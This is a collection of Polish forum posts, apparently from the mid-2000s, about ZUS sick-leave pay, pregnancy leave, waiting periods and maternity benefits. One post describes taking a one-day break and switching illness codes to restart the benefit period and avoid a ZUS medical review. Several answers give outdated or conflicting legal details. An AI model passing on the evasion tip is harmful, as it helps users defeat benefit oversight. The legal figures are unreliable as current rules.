Szukaj:Słowo(a): ZUS płatności zwolnień lekarskich
Jest dokładnie tak jak napisała osoba przede mną. Niestety nie
przysługują Ci żadne świadczenia pracownicze typu płatne urlopy,
zwolnienia lekarskie czy urlop macierzyński. też przez rok czasu
pracowałam na umowę zlecenie ale na szczęscie moj pracodawca opłacał
moje składki ZUS (bo nie mam już statusu studenta) więc nie mialam
problemu z wizytami u lekarza. mam nadzieję ze u Ciebie jest
podobnie. Moja umowa faktycznie niczym nie rożnila się od umowy o
pracę wiec w końcu po roku wynegocjowałam z szefem umowe o pracę i
teraz mam nawet na czas nieokreślony. Zycze powodzenia w rozmowach z
szefem
I tu się z Tobą nie zgodzę Maretinko, bo ja pracuję w kadrach i takie rzeczy
naliczam. Aż zadzwoniłam do ZUS-u, żeby się upewnić, bo zwątpiłam. Teraz mogę
podac informacje na 100% sprawdzone. Jeśli kogoś zatrudniam, to dopiero po 30
dniach nabywa prawo do płatnego zwolnienia lekarskiego, jeśli przyniesie mi
zwolnienie wcześniej, przed przepracowaniem 30 dni, to okres ten do 30 dnia
włącznie ma usprawiedliwiony, ale niepłatny. Chorobowe zaczynam naliczać
dopiero od 31 dni pracy. Kobiety w ciąży niestety tak samo.
Wyjątki sa tylko 2:
- jeśli ktoś przed zatrudnieniem u danego pracodawcy, był wcześniej gdzieś
zatrudniony i odstęp między dwoma zatrudnieniami nie był dłuższy niż 30 dni, bo
jesli dłuższy to znowu nabędzie go po 30 dniach pracy,
- jeśli ktoś udokumentuje 10-letni staz pracy, to wtedy też nie musi czekac 30
dni na płatne chorobowe.

Jeśli ktoś ma wątpliwości, zawsze można dryndnąć na infomacje do ZUS-u
(wydział zasiłków) i ładnie to wyjaśnią. Miła Pani jest w ZUS-ie koszalińskim
po nr 0 94 3411 873. Udziela informacji wyczerpujących

Gosia
Teoretycznie po miesiącu już ci sie należy . Ale oczekuj wtedy kontroli z ZUS.
Moja siostra była zarejestrowana przez miesiąc ale na najniższą stawjkę i ma
macierzyński i zwolnienie lekarskie w czsie ciazy też płatne. Ale to był zbieg
okolicznosci. Bo wcześniej miała w tej firmie umowy o dziełoi zlecenia.
Oczywiście kontrola z ZUS była.
Jakie wynagrodzenie?
Z dniem 1 czerwca 2004 roku zostałem zatrudniony na umowę o pracę na czas
okreslony dłuższy niz 6 miesięcy. W umowie tej jest klauzula o mozliwości
rozwiązania stosunku pracy za dwutygodniowym okresem wypowiedzenia przez
każdą ze stron.
Po 14 czerwca poszedłem na zwolnienie lekarskie, które trwa nadal az do dnia
dzisiejszego. Wczesniej byłem zatrudniony u innego pracodawcygdzie
wykorzystałem 26 dni chorobowego. Ten stosunek pracy ustał 29 maja.
Nie podalem obecnemu pracodawcy, że byłem tam zatrudniony i że właśnie 26 dni
choroboqwego wykorzystałem.
Czy obecny pracodawca wypłacając mi wynagrodzenie za czas choroby uwzgledni
owe 26 dni chorobowego juz wykorzystanego w tym roku (chociaz o nich nioe
wie)?, czy dopiero bede miał płatne chorobowe po tzw. okresie wyczekiwania
tj. 30 dni czy dopiero od 1 lipca bede miał prawo do zasiłku chorobowego od
pracodawcy przez kolejne 33 dni?
Czy ZUS poinformuje obecnego pracodawce, że już w tym roku wykorzystałem 26
dni chorobowego?
Pozdrawiam
zwolnienie lek. po ustaniu stosunku pracy??
U mnie w firmie po ostatniej fali zwolnień (z przyczy ekonomicznych, z
odprawamia i odpowiednimi okresami wypowiedzeń), wielu zwolnionych
pracowników bierze zwolnienie lekarskie pod koniec okresu wypowiedzenia. Tzn.
ich zwolnienie obejmuje kilka dni w pracy a reszta to okres kiedy stosunek
pracy już ustał. Jak to jest wówczas z płatnością za takie zwolnienia. Czy za
takie zwolnienie płaci zakład pracy (kilka dni kiedy pracownik jest jeszcze
oficjalnie zatrudniony) czy ZUS. Jeżeli takie zwolnienie jest następnie
przedłużane (na okres kiedy już jesteśmy "bezrobotni") to płaci już chyba
tylko ZUS - ale wtedy pytanie ile? - czy 80% dotychczasowych zarobków (jak
przy normalnym zwolnieniu w trakcie stosunku pracy), czy wg. jakiejś średniej
krajowej czy jeszcze innej stawki??
L4 i macierzyński
Po jakim czasie gdy jest sie zatrudnionym można isc na zwolnienie lekarskie z
powodu ciąży, żeby zus później wypłacał pieniążki i macierzyńskie???
Jeśli zarabiam 847 brutto to ile zus bedzie mi wypłacał.
Podobno od lutego zmieniaja sie przepisy dotyczace macierzynskiego, ja
pracuje dopiero 2 miesiac, a wczesniej byłamm na bezrobociu bez prawa do
zasiłku.Jak wtedy zus naliczy pienążki???
I jak to jest później z wychowawczym czy jest płatne czy nie???
Z góry dziekuje za każda odpowiedź, bo ja się kompletnie na tym nie znam.
mona-a napisała:

> Po jakim czasie gdy jest sie zatrudnionym można isc na zwolnienie lekarskie
>z powodu ciąży, żeby zus później wypłacał pieniążki i macierzyńskie???
Jezeli nie pracowalas wczesniej,po 30 dniach. Pierwsze 33 dni placi pracodawca.

> Jeśli zarabiam 847 brutto to ile zus bedzie mi wypłacał.
Mniej wiecej tyle ile otrzymujesz teraz na reke.

>Jak wtedy zus naliczy pienążki???
Z tego okresu, ktory przepracowalas do czasu zwolnienia.

> I jak to jest później z wychowawczym czy jest płatne czy nie???
Jezeli bedzie przyslugiwal Ci zasilek rodzinny.
Zeby nie powtarzac, przeczytaj ten watek:
forum.gazeta.pl/forum/72,2.html?f=584&w=20246755

pzdr
A w jaki sposób dostajesz pensję skoro jesteś na urlopie wychowawczym?

Albo jesteś na wychowawczym i pobierasz zasiłek. Albo przerywasz wychowawczy i
wracasz do pracy i dostajesz pensję, a wtedy nie doatejsz dodatku
wychowawczego, bo nie jesteś już na wychowawczym. Gdyby po powrocie do pracy
ciąża była zagrożona mozesz iść na zwolnienie 100% płatne, ale musisz wrócić do
pracy, na wychowawczym urlopie nie można być na zwolnieniu lekarskim.

Co do reszty pytań to się pogubiłam. CZemu Zus wypłaca pensję a nie pracodawca?
Lekarz ginekolog może wystawić Ci zwolnienie nawet na na mniej niż dwa
tygodnie przed terminiem porodu, jeżeli ma do tego podstawy - ciąża zagrożona-
i ZUS wzywając Cię na Komisję nie przyczepi się, jeżeli będzie miał odpowiednią
dokumentację. Natomiast, jeżeli siedzisz na zwolnieniu bez poważniejszych
problemów to lekarz za takie zwolnienie, wystawione po 38 tygodniu ciąży może
mieć nieprzyjemności i ty również.
Zwolnienie lekarskie może być wystawione na okres dłuższy niż 30 dni.
Przynajmniej tak mi proponowała moja gina. Byłam na wizycie 37 dni przed
przewidywanym terminem porodu i powiedziała mi, że jest to ostatni dzwonek,
abym dostała zwolnienie do końca ciąży. Zresztą rozliczając zwolnienia w pracy
miałam niejednokrotnie zwolnienia na 40 dni i dłuzej.To wszystko zależy do
jakiego lekarza się chodzi, jeżeli prywatnie to zwolnienia są któtsze, ponieważ
zależy im na częstych wizytach pacjentek - "pieniądze". Ja chodzę państwowo,
ale do niezłej przychodni, bardzo obleganej, na wizyty można dostać się co
mniej więcej 5 tygodni więc i zwolnienia są wystawiane na mniej więcej takie
okresy.
Zwolnienie w ciąży nie zależnie od jakiego lekarza, internista czy jakikolwiek
specjalista zawsze są płatne 100%. Warunkiem jest wpisanie na zwolnieniu kodu B
Będąc na zwolnieniu lekarskim w ciąży możesz je ciagnąć przez 270 dni, jednak
te pierwsze pół roku (180 dni)masz płatne na 100%, a na kolejne 90 dni musisz
wysłać wniosek do ZUS-u, w którym prosisz o przedłużenie okresu zasiłkowego.
Wniosek ten po upływie 120 dni od momentu pójścia na L4 przysyła do Ciebie ZUS -
musi go wypełnić lekarz prowadzący ciążę i wraz z załączoną kopią dokumentacji
medycznej dot. Twojej ciąży wysyłasz ZUS-owi. Następnie cierpliwie czekasz na :
1) decyzję ZUS-u o przedłużeniu okresu zasiłkowego, lub 2) wezwanie na komisję
lekarską, po której podejmą decyzję czy przedłużyć Ci ten okres.
czego moze czepiac sie zus przy zwolnieniu?
chodzi mi o moj przypadek, podjelam prace bedac w 3mc, myslalm ze przepracuje
do porodu, gdyz nie mialam zadnych problemow a teraz po poltora miesiacu
pracy okazuje sie ze musze isc na zwolnienie lekarskie do konca ciazy czyli
na 4m-ce, wiem ze kobiecie w ciazy przysluguje 100% wynagrodzenia czyli
jezeli netto bylo 1000zl, a brutto 1400zl to ile placa w ciazy i wiem ze
nalicza sie srednia i przekazuje do zusu ale u mnie byly tylko dwie wyplaty
(platne z gory-nauczycielka), to czy ZUS moze mi nie chciec wyplacac, ze za
krotko pracowalam np., na czym ja teraz stoje? wiem tylko ze pierwsze 33dni
oplaca jeszcze zaklad pracy i czy to oni wyliczaja ile bede potem dostawac,
jak to jest bo boje sie o przyszlosc...dziekuje za odp.
Dokladnie przeanalizowalam podobny przypadek do Twojego. Tez jestem w ciazy na
L4 ale poniewaz pracuje w kadrach dokladnie przygotowalam sie do tego co mnie
czeka. Oczywiscie zwolnienie ciazowe jest platne 100% wynagrodzenia ale liczone
ze sredniej z 12 miesiecy. To ze mozna chorowac 6 miesiecy, a dokladnie 182 dni
to prawda. Pozniej przysluguje swiadczenie rehabilitacyjne do konca ciazy, ale
o jego przyznaniu decyduje juz lekarz orzecznik ZUS. Wiec jesli zwolnienia
dotychczasowe sa szyte grubymi nicmi, to swiadczenia mozna nie dostac. W
przypadku ciazy swiadczenie rehabilitacyjne platne jest rowniez 100% (napewno,
sprawdzilam dokladnie).
Zeby uniknac komisji lekarskiej w ZUS po tych 182 dniach choroby - mozna zorbic
tak: Powiedzmy ok. 5 miesiaca choroby zrobic jeden dzien przerwy w zwolnieniu
lekarskim (najlepiej jak bedzie to sobota lub niedziela, zebys nie musiala isc
do pracy) a pozniej zachorowac na inny symbol choroby. Do Zusu idzie zwolnienie
z symbolem choroby wiec nie beda sie czepiac. Ten manewr spowoduje ze
pracodawca bedzie zaczac zliczac okres zasilkowy, tzn. owe 182 dni poprosu od
nowa, a to juz wystarcza zeby urodzic.
A zeby bylo jeszcze jasniej dla pracodawcy - to zrobic przerwe 1 dzien -
przyniesc kolejne zwolnienie od internisty - a pozniej od swojego gina !

pozdrawiam
do Ewa,zaśpiewa
Pierwsza sprawa. Czy ty jesteś zgłoszona jako osoba współpracująca? Z tego co
wiem żona nie może być zatrudniona w firmie swojego męża. Może być zgłoszona
jedynie jako osoba współpracująca z osobą prowadzącą działalność gospodarczą i
musi opłacać składki w takiej samej wysokości co mąż, czyli podstawy ustalanej
co 3 miesiace przz ZUS. Poza aby mieć prawo do zasiłku chorobowego i zasiłku
macierzyńskiego musisz wtedy opłacać dobrowolny chorobowy przez okres 6
miesięcy bez żadnych przerw i opóźnień. Wówczas chorobowy po tych 6 miesiącach
masz płatne z ZUS-u od 1 dnia zwolnienia a nie od swojego męża bo mąż nie ma
takiego obowiązku i prawa. Poza tym jeśli faktycznie nastąpiła taka sytuacja,
że mąż zarejestrował ciebie jako pracownicę to leć szybko do ZUS-u wyjaśniać
sytuację bo będziesz miała problem w wypłatami zasiłków. Lepiej to sprawdź. Mam
nadzieję, że źle przedstawiłaś sprawę na forum. po drugie zwolnienia lekarskie
wszystkie danej osoby liczy się w skali roku, czyli jeśli masz zwolnienie na 30
dni a później np 60 dni chodzisz do pracy i znowy masz zwolnienie to do tego 1-
go zwolnienia dodaje się liczbędni poprzednich zwolnien w ciagu roku. inna
sytuacja jest w przypadku zwolnień na przełomie roku ale to inna kwestia,
Ewa.zaśpiewa odpisz, że się mylę i jesteś osobą współpracującą. Please.
ciąża na wychowawczym
Doświadczone emamy, czy wiecie jak to jest z ciążą na urlopie wychowawczym.
Czy zwolnienie lekarskie jest także płatne 100%, a jeśli tak to od jakiej
podstawy: sprzed ciąży 6mc czy jakoś inaczej jest to liczone. Czy powyżej 30
dni płaci ZUS czy pirma w której pracowałyście. Bardzo proszę o uświadomienie
w tej kwestii dość materialnej.
Pozdrawiam
hej,
będąc na wychowawczym nie będziesz miała płatnego zwolnienia lekarskiego ((
przysługuje Ci tylko zasiłek macierzyński i to skrócony o 2 tygodnie, czyli 16
tygodni /112 dni/
jest takie małe wyjście z tej sytuacji-nalezy wrócić do pracy /choćby na kilka
dni/ i można iść na zwolnienie lekarskie. Wtedy zwolnienie płatne jest 100%,
pierwsze 33 dni zwolnienia z funduszu pracodawcy, pozostałe z ZUS.

Mam nadzieję, że pomogłam.
Odnośnie druku RSA jest tak, że danego pracownika ujmujesz w dwóch pozycjach, w
pierwszej ujmujesz z kodem 331 i okresem 01.03-22.03, tj. 22 dni, a w drugim z
kodem 313 i okresem 23.03-31.03, tj. 9 dni, czyli traktujesz pracownika jako
dwie osoby.
drugie pytanie druk Z-3 składasz najlepiej w ciągu 7 dni od dnia otrzymania
zwolnienia lekarskiego, które będzie płatne już przez ZUS, i np. jeśli częśc
tego zwolnienia lekarskiego płaci pracodawca a część zus to skseruj sobie to
zwolnienie a oryginał opisz na odwrocie klauzulą:. zwolnienie lek. wpłynęlo do
pracowawcy w dniu.... i podpis". Takie zwolnieni lek dołącz do druku Z-3.
Jesli chodzi o przelew pieniążków na konto to najlepiej jak pracownica złoży
podanie w zusie z prośba o przelew pieniążków na konto (w zusie ci powią
gdzie). Jęśli chodzi o terminy wpłaty są różne i np. za ostatnie dni marca
najprawdopodobniej dostaniesz gdzieś w początkach kwietnia.
Dostaniesz do ręki średnią z ostatnich 12 miesiecy kalendarzowych, czyli jeśli
towje wynagrodzenie nie ulegoało zmianom to wysokość twoje pensji, a czsami
możesz dostać więcej bo ZUS przelicza zwolnienie lekarskie ba poszczególne dni
xchoroby traktując miesiac jako 30 dni.
Jesli masz jakieś pytania to
Najlepiej zadzwoń do ZUS-u jeszcze raz i się zapytaj. Aalex zamieszała. Bodajże
8 lutego 2005 r. weszła w życie nowelizacja ustawy o świadczeniach w okresie
choroby i macierzyństwa. Trzeba tę nowelizację wziąć pod uwagę, a nie
bezkrytycznie pisać, że ZUS odmówi przedłużenia zasiłku i skieruje na
świadczenie rehabilitacyjne. Do kobiet, które nabyły prawo do zasiłku przed
8.02.2005 r. są stosowane poprzednie przepisy, tzn., że nadal po 6 miesiącach
przebywania na zwolnieniu lekarskim kobieta występuje o przedłużenie zasiłku o
kolejne 3 miesiące. Tylko do kobiet, które nabyły prawo do zasiłku po 8.02.2005
r. stosuje się nowe przepisy, według których nie ma już instytucji przedłużania
zasiłku, tylko od razu występuje się o świadczenie rehabilitacyjne, które
zresztą też jest w 100% płatne dla kobiet w ciąży. Ja na Twoim miejscu
zadzwoniłabym do ZUS-u i się zapytała. Sama, gdy w pracy nie chcieli mi dać
wniosku o przedłużenie zasiłku, ponieważ moje kadrowe uważają, że kobieta w
ciąży ma 9 miesięczny okres zasiłkowy, upewniałam się dzwoniąc do ZUS-u. Mimo,
że skończyłam prawo, jestem na aplikacji radcowskiej i czytanie ustaw oraz ich
interpretacja nie jest dla mnie nowością, czy problemem, wolałam się jeszcze
upewnić w ZUS-ie. Wniosek ostatecznie otrzymałam, a w zeszły piątek dostałam
już z ZUS-u orzeczenie o przedłużeniu okresu zasiłkowego. Powodzenia.
Aby mieć prawo do zasiłku chorobowego oraz płatnego zwolnienia lek. w zakł
pracy, musisz przejść okres wyczekiwania wynoszący 30 dni. czyli musisz wrócić
do pracy na conajmmniej 30 dni aby mieć płatne zwolnienie lekarskie. Po urlopie
wychowawczym musisz też przejść ten okres wyczekiwania bo wych. jest okresem
nieskładkowym. Proponuję ci to zrobić w ten sposób jeśli jesteś pewna że jesteś
w ciąży, weź od lekarza zaświadczenie o tym tym że jesteś w ciąży. Twój
pracodawca ma 2 tygodnie na przyjęcie ciebie znowu do pracy, czyli twoje
zaświadczenie o ciąży oraz o powrocie do pracy musisz zanieść tego samego dnia.
Jesteś wtedy już chroniona prawem.
Odnośnie zwolnienia lekarskiego jęsli nawet go dostarczysz po przerwaniu
urlopu wych. to i tak nie będize płatne, czyli wstrzymaj sie z zwolnieniem lek.
minimum miesiąc, (a nawet wiecej).
Sytuacja jest inna jeśli posiadasz przynajmniej 10 letni okres obowiązkowego
ubezpieczenia chorobowego(byłaś zatrudniona 10 lat łącznie w różnych firmach),
wówczas nie musisz przechodzić okresu wyczekiwania 30 dni.
A jeśli chodzi o ZUS pomimo tego że ustawa wyraźnie mówi o tych 30 dniach
oczekiwania to i tak sie mogą doczepić, ale jeśli jesteś zatrudniona sporo czsu
w firmie to wątpię aby coś ci podważali. Wróciłaś do pracy przepracujesz te
min. miesiąć i niech sie odpiórkują.
do mmala6
zwolnienie lekarskie jest zawsze z powodu jakiejś choroby (przeziębienie,
grypa, zagrażające poronienie), ciąża nie jest chorobą i nie dostaje się
zwolnienia na "ciążę". Ciążowe zwolnienie różni się tym, że na każdym jest
literka B (czy na przeziębienie czy z powodu krwawień) i jest płatne 100%. Sama
spotkałam się z tym, u mojej przyjaciółki, że lekarz wypisał jej zwolnienie z
powodu puchnięcia nóg i kłopotów z chodzeniem, a ZUS 2 tygodnie przed porodem
potraktował sam od siebie jako macierzyński mimo, że lekarz dał zwolnienie.
Dlatego wolałam się uspokoić jak to będzie.
Są dwie możliwości:
1. urlop okolicznościowy w wymiarze 2 dni z tytułu urodzenia się dziecka
pracownikowi - płatne 100%
2. zwolnienie lekarskie na żonę - maksymalnie 14 dni i płatne jako zasiłek
opiekuńczy w wymiarze 80 % - tu podstawa prawna:
www.zus.pl/swiadcze/zas004.htm
Małgorzata
Ja też będę miał ten problem, dlatego troche się dowiadywałam.
Jeżeli jesteś zatrudniona na umowe o pracę na czas nieokreślony, to powinnaś
dostać 100% chorobowego, przez pierwszy miesiąc płaci pracodawca a potem ZUS.
Po urodzeniu dziecka przysługuje macieżyńskie a wychowawcze załatwia się
później bo to już inna instytucja się tym zajmuje i oni wyliczają czy się
należy wychowawcze. Tak powiedziano mi w ZUSie. Więc chyba to prawda. Już
pomiesiącu pracy można iść na zwolnienie lekarskie, które jst 100% płatne(po
potrąceniu podatku). Odpisz
jestem w podobnej sytuacji co p.Anna, mi ZUS odmówił wypłacenia zasiłku
chorobowego,zaznaczając ,że również odmawia mi wypłacenia zasiłku
macierzyńskiego(byłam w ciąży).Swoją decyzję argumentował tym ,że przelewy były
regulowane nie przez bank a w agencji"grosik", gdzie składałam polecenia
przelewu.Wg Zus jest ta agencja nie uprawniona do dokonywania
płatności.Najbardziej denerwuje mnie fakt, że na tą nieprawidłowość nie zwrócił
mi uwagi cał czas pobierając składki (trwało to ok.2 lat)Wyczerpując wszystkie
drogi odwoławcze w tej chwili skierowałam pozew do sądu pracy w Szczecinie i
czekam na mediacje.W między czasie Zus poinformował mnie , że będąc na
zwolnieniu lekarskim powinnam opłacać za siebie składki Zus,pomijam fakt .ze
gdybym była firmą jednoosobową zostałabm praktycznie bez środków do życia.
Myślę ,że jest to instytucja, która z premedytacją łamie konstytucję(wszyscy
ludzie są równi)szczególnie piętnując przedsiębiorcze matki, ponieważ
działalności gospodarcze nie mogę zawiesić, nie przysługuje mi również urlop
wychowawczy czuję się w naszym kraju dyskryminowana.
Pozdrawiam.
ciąża i wynagrodzenie
mam wątpliwości co do sposobu płatności wynagrodzeń jesli jestem na zwolnieniu
lekarskim całą ciąże, powiedzmy od 4 miesiąca to czy wypłata świadczenia
przechodzi na ZUS a pracodawca nie ponosi żadnych kosztów z tym związanych.
Wiem że po 34 dniach zwolnienia, obowiązek płacenia przechodzi na ZUS, ale czy
w tym momencie pracodawca jest zupełnie odciążony od jakichkolwiek kosztów?
Na mocy wymienionej ustawy jeżeli nie kwalifikujesz się do grupy, która wyłącza
płatność ( wymieniłam kiedy) to jest płatny. Już od początku 2005 roku
zrezygnowano z niepłacenia za pierwszy dzień zwolnienia lekarskiego.

Wiem bo ja to wypłacam.

I jeszcze jeżeli zwolnienie powstało w okresie zatrudnienia i trwa po jego
wygaśnięciu to to jest płatne, a płaci ZUS. Pracodawca przekazuje dokumenty do
ZUS-u jeżeli wcześniej pracodawca płacił.
Zwolnienie lekarskie
Czesc

Wczoraj spotkała mnie dziwna sytuacja. Byłem u lekarza, stwierdził anginka,
wypisał mi 5 dni zwolnienia (30.11-4.12 wlacznie), a pozniej mam przyjsc na
kontrole we wtorek. Autobusem dowiozłem zaswiadczenie lekarskie do firmy mnie
zatrudniajacej(mala, prywatna, wlasciciel robi co chce, jesli trzeba
pracujemy w sob i niedz nawet jesli sa swieta, po 12 godz dziennie, akord,
nadgodziny placone sa sporadycznie). Zachodzac do biura spokalem wlasciciela
i kadrową. Stwierdzili ze nie potrzebnie bylem po zaswiadczenie bo i tak z 5
dni zwolnienia nie bede mial zaplacone, bo nie pracuje w tej firmie jeszcze
calego miesiaca. Czy to prawda?
Wlasciciel powiedzial ze moze sie dogadamy i wypisze mi urlop za czw i pt
zebym mial platne a w pon przyjde do pracy, a jesli sie dobrze poczuje to
najlepiej niech przyjde juz w sobotę, zaswiadzczenie sie podrzei bedzie
sprawa zalatwiona. Co za idiota. Jak on chce to zrobic. Przeciez w
legitymacji ubezpieczeiowej mam juz wpisane zwolnienie, a kopia zaswiadczenia
trafia chyba do ZUS-u. Jak on chce mi wypisac urlop w czasie gdy jestem na
zwolnieniu chorobowym? Co z tym fantem zrobić? Prosze pomozcie.
Zwolnienie nie przerywa sie, dlaej płatne jest 100 % przez ZUS. Jednak
conajmniej 2 tygodnie przed porodem mozesz skorzystać z prawa do urlopu
macierzyńskiego. Niektórzy lekarze praktykuja taki zwyczaj i nie chcą wystawiać
zwolneinia do konca, nie wiedzą chyba co to znaczy 16 tygodni urlopu
macierzyńskiego. Urlop macierzyński liczy się od dnia produ. Z chwilą urodzenia
do zakładu pracy powinnaś dostarczyć odpis aktu urodzenia lub zaświadczenie
lekarskie o urodzeniu dziecka oraz oświadczenie o urodzeniu pierwszego lub
kolejnego dziecka. Pozdrawia, Kasia.
Na tej samej zasadzie jak zwolnienie lekarskie na opiekę nad żoną po porodzie
można dostać opiekę nad dzieckiem. To zwolnienie jest płatne 80%. Zwolnienie
dostaje się od lekarza. Najlepiej przejdźcie się do swojego pediatry, powinien
być doinformowany w tym zakresie, a jak nie to w ZUS-ie wszystkiego się dowiesz.
dokładnie tak
aditi_00 ma rację
proponuję dołączyć też xero dokumentacji medycznej (wypisy ze szpitala itp.)
bo wtedy szybciej to potrwa (w przeciwnym razie ZUS zgłosi się do Twojego lekarza)
o świadczenie rehabilitacyjne nalezy wystąpić na 6 tygodni przed upływem 182 dni
zwolnienia lekarskiego... choć pewnie CI nie odmówią to raczej szykuj się na
opóźnienie w płatnościach (jeśłi płaci Ci ZUS)
poczytaj sobie:
www.zus.pl/swiadcze/zas009.htm
Ponieważ w momencie wygaśnięcia umowy będziesz w ciąży, pracodawca musi Ci
przedłużyć umowę aż do dnia porodu. Jeśli zdrowi Ci pozwoli, możesz wrócić do
pracy aż do porodu (dostając normalną pensję) lub jeśli lekarz stwierdzi że coś
jest nie tak, to możesz iść na zwolnienie lekarskie (płatne 100%). W dniu
porodu umowa o pracę wygasa, a zasiłek macierzyński na II dziecko wypłacać Ci
będzie Zus. Niestety po macierzyńskim, nie będziesz juz zatrudniona, a więc nie
możesz iść na urlop wychowawczy i nie przysługuje Ci zasiłek wychowawczy.

Zasiłek wychowawczy przysługiwałby Ci na II dziecko, gdybyś bezpośrednio przed
pójściem na wychowawczy miała 6 msc zatrudnienia. Tak więc albo możesz starać
się o przedłużenie umowy w obecnej firmie, albo na II wychowawczy możesz pójśc
u nowego pracodawcy (po 6msc przepracowanych dostaniesz zasiłek).

Warto porozmawiać z pracodawcą, nic nie tracisz pytając i prosząc o
przedłużenie umowy, a uniknęłabyś kłopotów - miałabyś wychowawczy urlop.
pozdr
ekstorsis mho jak to wielokrotnie podkreślałem druki zus zla są tematem zastępcznym
powinno być jasno określone finansowanie usługi ( pay for fee)
polski rząd nie jest w stanie od 1989 wycenić usługi lekarza rodzinne
w europie zachodniej od 28 euro do 90 euro

poza tym wszyskie zaświadczenia dla pacjenta są płatne
solicitor 300 euro ( mniam )
( byłem , widziałem, złamał nogę )
drugi zwolnień lekarskich, ząswiadczeń o niezdolności do pracy są w ramach usługi
natiz napisała:

> Ja bym nie miała żadnych wątpliwości. Pracodawcy w dzisiejszych czasach są
tak
> bezwzględni, że ja również byłabym bez skrupułów. Zawsze to jakąś praktykę w
> zawodzie będziesz miała, kupisz wyprawkę. Nawet jak pójdziesz na zwolnienie
> lekarskie, to będzie ono 100% płatne. Będziesz ubezpieczona. W naszej firmie
> wypłacaja becikowe, daja talony, jest zabezpieczenie socjalne. Chcesz stracic
> te pieniadze? W imie czego? Jak będziesz dobra, to Cie przyjmą po
> macierzyńskim. Zawsze możesz powiedzieć, że o ciąży dowiedziałaś się już po
> wszystkim. Tym razem pracownik może wykorzystać pracodawcę, co nie często się
> zdarza. Na co czekasz?

to się tylko tak mówi.Podejmij, inaczej jest jak sama miałąbys to
zrobić.Najlepiej się doradza jak sie nie jest w takiej sytuacji.
Miałam 2 lata temu taką sytuację, poważnie. Miałam cąże zagrozoną,
wymiotowałam, bałam się podjąc pracę bo nie wiedziałam czy nie wyjdzie na jaw
w ten sam dzień.to był 12 tydzien.
Zrobiłam badania, doniosłam wszystkie papiery do pracy, miałąm szkolenie, nie
poszłam na szkolenie ani podpisac umowe, bo zaczęłam wymiotowac. Mąz szukał
pracy, to mialbyc nasz jeden zarobek, ale zrezygnowałam, chodz mogłam podpisac
umowe, ale bałam sie konsekwencji.
jezeli wyjdzie u Ciebie taka sytuacja ze umowe bedziesz miala do dnia porodu to
Zus moze Ci wszystko wstrzymacz, z tego powodu ze podjęłas pracę w ciązy, ja
tego się bałam, zresztą wstyd mi było spojkrzec w oczy
kierowniczce .
ubezpieczenie chorobowe - termin płatności
Ubezpieczony (np. tzw.samozatruniony)ma obowiązek wpłacać składki w
określonym terminie. W przypadku kiedy spóźni się z opłatą nawet o
jeden dzień ,staje się nieubezpieczony, ale nadal musi płacić, nadal
obowiązują go terminy i wysokość składek, ale w przypadku ,gdy chce
skorzystać ze zwolnienia lekarskiego, to nie ma prawa do zasiłku. I
w ZUS nie ma nadpłaconych składek.Kuriozum takie.
To czy pensję płaci pracodawca czy ZUS zależy od wielkości zakładu pracy. Jeśli
firma liczy do 20 pracowników po 33 dniach zwolnienia płatności przejmuje ZUS,
jeśli jest większa cały czas płaci pracodawca, który dostaje zwrot z ZUSu. Co do
wysokości pensji to wygląda to tak, że będąc w ciąży lekarz wpisuje ci na
zwolnieniu kod B i to jest podstawą do wypłacania 100% pensji, ale... jeśli
bywałaś na zwolnieniach, między którymi nie było przerwy conajmniej 3 pełnych
miesięcy kalendarzowych to pracodawca wyliczy ci średnią z 12 miesięcy
poprzedzających zwolnienia lekarskie. Czyli, jeśli byłaś na zwolnieniu np. 15
października, 1 września i 12 czerwca to średnią będziesz miała wyliczoną od
czerwca 2008 do maja 2009, bo pomiędzy kolejnymi zwolnieniami nie było przerwy 3
miesięcznej. I tu się kryje to zmniejszenie, jeśli przykładowo w między czasie
dostawałaś podwyżki czy premie.
Ja teraz jestem na zwolnieniu lekarskim, a że moje starsze dziecko w marcu
poszło do przedszkola, więc od marca w każdym miesiącu po parę dni musiałam brać
zwolnienie na dziecko, więc de facto średnią mam wyliczaną od marca 2008 do
lutego 2009.
POMOCY!! Płatne badania, jak to jest??
Moja siostra urodziła miesiąc temu córeczkę. Ponieważ w ciąży siostra zaraziła
się toksoplazmozą mała jest objęta dodatkową opieką lekarską. Siostra była na
pierwszej wizycie u specjalisty, gdzie pobrano małej krew do kilku badań, za
które kazano siostrze zapłacić, bo pieniądze na badania z NFZ-u się skończyły.
To kwota ok 300 zł. Ma za nie zapłacić przy odbiorze.

No wk@%*&*% łam się nieziemsko!! Dla mojej siostry jest normalne, że sie płaci
ale dla mnie nie! Nosz kr$&^%a płaci ZUS cały czas, teraz jest na zasiłku
macierzyńskim od 19 listopada (mała urodziła się 19 11 siostra w sobotę 17.11
była ostatni dzień w pracy), kasę zasiłkową zobaczy pewnie w przyszłym roku.
Nie chodzi o to, ze nie ma tragicznie pieniędzy, ale w końcu płaci swoje
ubezpieczenie!! A najbardziej mnie wkurza, że ona prawie nie korzysta z porad
lekarskich, nie leczy się, nie chodzi na zwolnienia, itp.
Co można zrobić? Czy jeśli uzależnią wydanie wyników od wpłaty to coś mi się
po głowie kołacze, że ma wziąć rachunek za te badania i żądać zrotu wydanej
kasy od NFZ-tu?
Dodam, że badania robione w państwowym szpitalu i skierowanie wydał państwowy
lekarz.

Co robić? Co robić? Jak mnie ta polska rzeczywistość wpienia to nie do
opisania!!!!!!!
Podpowiedzcie coś pliz!
Jeszcze raz o zwolnieniu lekarskim
Wlasnie przeczytalam,ze kobiecie w ciazy na l-4 przysluguje 182 dni
platne,a po tym terminie nalezy sie zwrocic do ZUS o swiadczenie
rehabilitacyjne z tyt.dalszej niemoznosci wykonywania pracy.Jest to
prawda?Bo mam takie wrazenie,ze to chyba jakis przestarzaly
przepis,gdyz znalazlam tam i inny mowiacy o zasilku
rodzinnym,ktorego kwoty nie zgadzaja sie z tymi dzisiejszymi.Zna sie
ktoras na tych przepisachAKTUALNYCH(!)dot.l-4,bo ja juz calkowicie
zglupialam.Czy naprawde tylko 182 dni jest tylko platne?Pomozcie!
"Czy ja wiem....?
> Sadzisz, ze po porodzie dostanie 100% platne zwolnienie lekarskie
na miesiac cz
> y dluzej?"
>
Nie, ja nie sądzę, ja wiem, że od dnia porodu przysługuje jej
zasiłek macierzyński przez 20 tygodni (jesli urodzi jedno dziecko),
który wypłaci ZUS i do tego żadne zwolnienie lekarskie nie jest
potrzebne. A umowa o pracę rozwiąże się w dniu porodu.
zolzatoja napisała:

> "Czy ja wiem....?
> > Sadzisz, ze po porodzie dostanie 100% platne zwolnienie lekarskie
> na miesiac cz
> > y dluzej?"
> >
